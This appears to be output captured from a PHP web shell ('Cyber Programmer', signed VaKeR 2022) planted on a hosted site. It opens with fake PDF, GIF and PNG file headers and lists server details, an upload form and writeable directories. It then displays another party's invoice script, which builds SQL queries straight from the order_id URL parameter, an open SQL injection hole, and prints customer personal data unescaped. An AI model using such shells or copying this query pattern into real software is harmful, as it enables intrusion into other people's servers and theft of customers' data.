%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64
User : ndkhermy ( 1200)
PHP Version : 8.5.12
Disable Function : NONE
Directory :  /home1/ndkhermy/www/website_93b53270/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home1/ndkhermy/www/website_93b53270/finvoice.php
<?php include 'function.php';
error_reporting(0);
$grand_total = 0;
if (isset($_GET['order_id'])) {
    $Order = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `order_tbl` WHERE order_id ='" . $_GET['order_id'] . "'"));
    if ($Order['type'] == 'User') {
        $UserTbl = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `user_tbl` WHERE user_id ='" . $Order['user_id'] . "'"));
    }
    $OrderDtl = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `order_detail_tbl` WHERE order_id ='" . $Order['order_id'] . "'"));
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" href="<?= $base_url ?>images/Upload/logo/<?= $rows_website['favicon'] ?>" type="image/x-icon" />
    <link href="<?= $base_url ?>css/font-awesome.min.css" rel="stylesheet">
    <link href="<?= $base_url ?>vendors/linearicons/style.css" rel="stylesheet">
    <link href="<?= $base_url ?>vendors/flat-icon/flaticon.css" rel="stylesheet">
    <title>Invoice - <?= $Order['order_id'] ?></title>
</head>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 20px;
        background-color: #f4f4f4;
    }

    .invoice-container {
        background-color: #fff;
        padding: 30px;
        border-radius: 8px;
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        max-width: 900px;
        margin: 20px auto;
    }

    .invoice-container img{
        width: auto;
        height: max-content;
        margin-bottom: 10px;
    }

    .header {
        align-items: center;
        margin-bottom: 30px;
    }

    .invoice-meta {
        display: flex;
        justify-content: space-between;
        font-size: 0.9em;
    }

    .details-section {
        display: flex;
        justify-content: space-between;
        margin-bottom: 30px;
        border-bottom: 1px solid #eee;
        padding-bottom: 20px;
    }

    .from-details,
    .deliver-to-details {
        width: 48%;
    }

    .details-section h3 {
        margin-top: 0;
        color: #333;
    }

    .details-section p {
        margin: 5px 0;
        font-size: 0.9em;
    }

    .product-section table {
        width: 100%;
        border-collapse: collapse;
        margin-bottom: 30px;
    }

    .product-section th,
    .product-section td {
        border: 1px solid #ddd;
        padding: 8px;
        text-align: left;
        font-size: 0.9em;
    }

    .product-section th {
        background-color: #f2f2f2;
    }

    .product-section img {
        max-width: 60px;
        height: auto;
        display: block;
        margin: 0 auto;
    }

    .summary-section {
        float:right;
        width:33%;
        margin-bottom: 20px;
        font-size: 0.9em;
    }

    .summary-section p {
        margin: 5px 0;
    }

    .payment-status {
        float:right;
        width:33%;
        font-weight: bold;
        font-size: 1.1em;
    }

    .payment-status .pending0 {
        color: orange;
        background-color: #ffe0b2;
        padding: 5px 10px;
        border-radius: 5px;
    }
    
    .payment-status .pending2 {
        color: Red;
        background-color: #ffb2b2ff;
        padding: 5px 10px;
        border-radius: 5px;
    }

    .payment-status .pending1 {
        color: green;
        background-color: #b5ffb2ff;
        padding: 5px 10px;
        border-radius: 5px;
    }

    .print-btn {
        display: block;
        margin: 20px auto;
        padding: 10px 20px;
        background: #333;
        color: #fff;
        border: none;
        border-radius: 6px;
        cursor: pointer;
        font-size: 1em;
    }

    @media print {
    .print-btn {
        display: none;
    }

    /* When printAddress() is triggered */
    body.print-address .product-section,
    body.print-address .summary-section,
    body.print-address .payment-status {
        display: none !important;
    }
    }
</style>

<body>
    <!-- Print Buttons -->
    <div style="display: flex;">
        <!-- <button class="print-btn" onclick="printAddress()">Print Address</button>
        <button class="print-btn" onclick="window.print()">Print Invoice</button> -->
    </div>
    <div class="invoice-container">
        <center><img src="<?=$base_url.'images/Upload/logo/'.$rows_website['footer_logo'] ?>" alt="<?= $rows_website['website_name'] ?>"></center>
        <div class="header">
            <div class="invoice-meta">
                <span><strong>Date: </strong><?= $Order['recieve_date'] ?></span>
                <span><strong>Order ID: </strong><?= $Order['order_id'] ?></span>
                <span><strong>User Type: </strong><?= $Order['user_type'] ?></span>
            </div>
        </div>

        <div class="details-section">
            <div class="from-details">
                <h3><i class="fa fa-location-arrow" style="margin-right:8px;"></i>From</h3>
                <p><strong>Website Name: </strong> <?= $rows_website['website_name'] ?></p>
                <p><strong>Website Email: </strong> <?= $rows_website['website_email_id'] ?></p>
                <p><strong>Mobile No: </strong> <?= $rows_website['mobile_number1'] ?></p>
                <p><strong>Website Address: </strong> <?= $rows_website['website_address'] ?></p>
            </div>
            <div class="deliver-to-details">
                <h3><i class="fa fa-truck" style="margin-right:8px;"></i>Deliver to</h3>
                <p><strong>Name: </strong> <?= $Order['name'] ?></p>
                <p><strong>Email: </strong> <?= $Order['email'] ?></p>
                <p><strong>Phone: </strong> +<?= $Order['phonecode'].' '.$Order['phone'] ?></p>
                <p><strong>Country: </strong> <?= $Order['country'] ?></p>
                <p><strong>State: </strong> <?= $Order['state'] ?></p>
                <p><strong>City: </strong> <?= $Order['city'] ?></p>
                <p><strong>ZIP Code: </strong> <?= $Order['postcode'] ?></p>
                <p><strong>Address: </strong> <?= $Order['address'] ?></p>
                <p><strong>Date: </strong> <?= $Order['monthyearinput'].' - '.$Order['date'].' - '.$Order['time'] ?></p>
                <!-- <p><strong>Payment Method: </strong> </?= ($Order['payment_method'] == "cod") ? 'Case On Delivery' : 'Card Payment' ?></p> -->
            </div>
        </div>
        <p><strong>Transaction ID: </strong> <?= $Order['transaction_id'] ?></p>
        <div class="product-section">
            <table>
                <thead>
                    <tr>
                        <th>SR.NO</th>
                        <th>PRODUCT ID</th>
                        <th>IMAGE</th>
                        <th>PRODUCT DETAILS</th>
                        <th>QUANTITY</th>
                        <th>TOTAL</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                        $subtotal = 0;
                        $n=1;
                        $sql = mysqli_query($conn, "SELECT * FROM order_detail_tbl WHERE order_id='" . $Order['order_id'] . "'");
                        while ($fetch_row = mysqli_fetch_assoc($sql)) {

                            $product_row = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM `product_tbl` WHERE id ='" . $fetch_row['productId'] . "'"));

                            $sevi_id  = $fetch_row['sevi_id'];
                            $oil_id   = $fetch_row['oil_id'];
                            $parts    = explode(",",$fetch_row['parts']);

                        if (!empty($product_row['service_id']) && $product_row['service_id'] != 0) {
                            $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM sevice_tbl WHERE id='" . $product_row['service_id'] . "'"));
                            $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_tbl WHERE id='$oil_id'"));
                            $part_table = "part_tbl";
                        } else {
                            $fech_serv = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM product_product_sevice_tbl WHERE id='" . $product_row['cat_id'] . "'"));
                            $fetch_oil = mysqli_fetch_assoc(mysqli_query($conn, "SELECT * FROM oil_pro_tbl WHERE id='$oil_id'"));
                            $part_table = "part_pro_tbl";
                        }

                            $eachProductTotal = $fetch_row['total'];
                            $Subtotal += $eachProductTotal;
                    ?>
                    <tr>
                        <td><?=$n;$n++?></td>
                        <td><?=$product_row['product_id']?></td>
                        <td><img src="<?= $base_url ?>images/Upload/product/<?= $product_row['image1'] ?>" alt="Product Image"></td>
                        <td>
                            <p> <strong>Name: </strong> <?= wordwrap($product_row['title'],30,'<br>') ?><br>
                                <br>
                                <strong>Price: </strong> AED <?=$fetch_row['price']?><br>


                            <?php if (!empty($sevi_id) || !empty($parts)) {
                                if ($oil_id != 0) {
                                echo '<strong>' . $fetch_oil['title'] . ", " . $fetch_oil['mobil_code'] . " : </strong> AED " . $fetch_oil['price'].'<br>';
                                }

                                if ($fetch_row['service_id'] != 0 && !empty($fetch_row['service_id'])) {
                                foreach ($parts as $part) {
                                    $fetch_part_query = mysqli_query($conn, "SELECT * FROM part_tbl WHERE id='$part'");
                                    while ($fetch_part = mysqli_fetch_assoc($fetch_part_query)) {
                                    echo '<strong>' . $fetch_part['title'] . " : </strong> AED " . $fetch_part['price'].'<br>';
                                    }
                                }
                                } else {
                                foreach ($parts as $part) {
                                    $fetch_part_query = mysqli_query($conn, "SELECT * FROM part_pro_tbl WHERE id='$part'");
                                    while ($fetch_part = mysqli_fetch_assoc($fetch_part_query)) {
                                    echo '<strong>' . $fetch_part['title'] . " : </strong> AED " . $fetch_part['price'].'<br>';
                                    }
                                }
                                }
                            }
                            ?>

                            </p>
                        </td>
                        <td><?=$fetch_row['quantity']?></td>
                        <td>AED <?=$eachProductTotal?></td>
                    </tr>
                    <?php } ?>
                </tbody>
            </table>
        </div>
        <div class="summary-section">
            <p><strong>Subtotal:</strong> <?=$Order['currency'].' '.$Subtotal?></p>
            <?php if(!empty($Order['coupon']) && $Order['coupon']!=0){ ?>
            <p><strong>Coupon:</strong> <?= $Order['coupon'] ?></p>
            <p><strong>Coupon Discount:</strong> <?= $Order['currency'].' '.$Order['discount'] ?></p>
            <?php } if(!empty($Order['CarPickup']) && $Order['CarPickup']!=0){ ?>
            <p><strong>Pickup Charge:</strong> <?= $Order['currency'].' '.$Order['CarPickup'] ?></p>
            <?php } if(!empty($Order['CarDrop']) && $Order['CarDrop']!=0){ ?>
            <p><strong>Dropup Charge:</strong> <?= $Order['currency'].' '.$Order['CarDrop'] ?></p>
            <?php } if(!empty($Order['minor_charg']) && $Order['minor_charg']!=0){ ?>
            <p><strong>Minor Service:</strong> <?= $Order['currency'].' '.$Order['minor_charg'] ?></p>
            <?php } if(!empty($Order['labor_charg']) && $Order['labor_charg']!=0){ ?>
            <p><strong>Labor Charges:</strong> <?= $Order['currency'].' '.$Order['labor_charg'] ?></p>
            <?php } ?>
            <p><strong>VAT:</strong> <?= $Order['vat'] ?>% - ( <?= $Order['currency'].' '.$Order['vat_value'] ?> ) </p>
            <p><strong>Grand total:</strong> <?= $Order['currency'].' '.$Order['grndTotalAed'] ?></p>
        </div>

        <div style="clear:both"></div>
        
        <div class="payment-status">
            <p><strong>Payment Status:</strong> <span class="pending<?=$Order['status']?>"><?php if($Order['status']==0){ echo 'Pending'; }elseif($Order['status']==2){ echo 'Failed'; }else{ echo 'Successfully'; } ?></span></p>
        </div>
        <div style="clear:both"></div>
    </div>
    
</body>

</html>

VaKeR 2022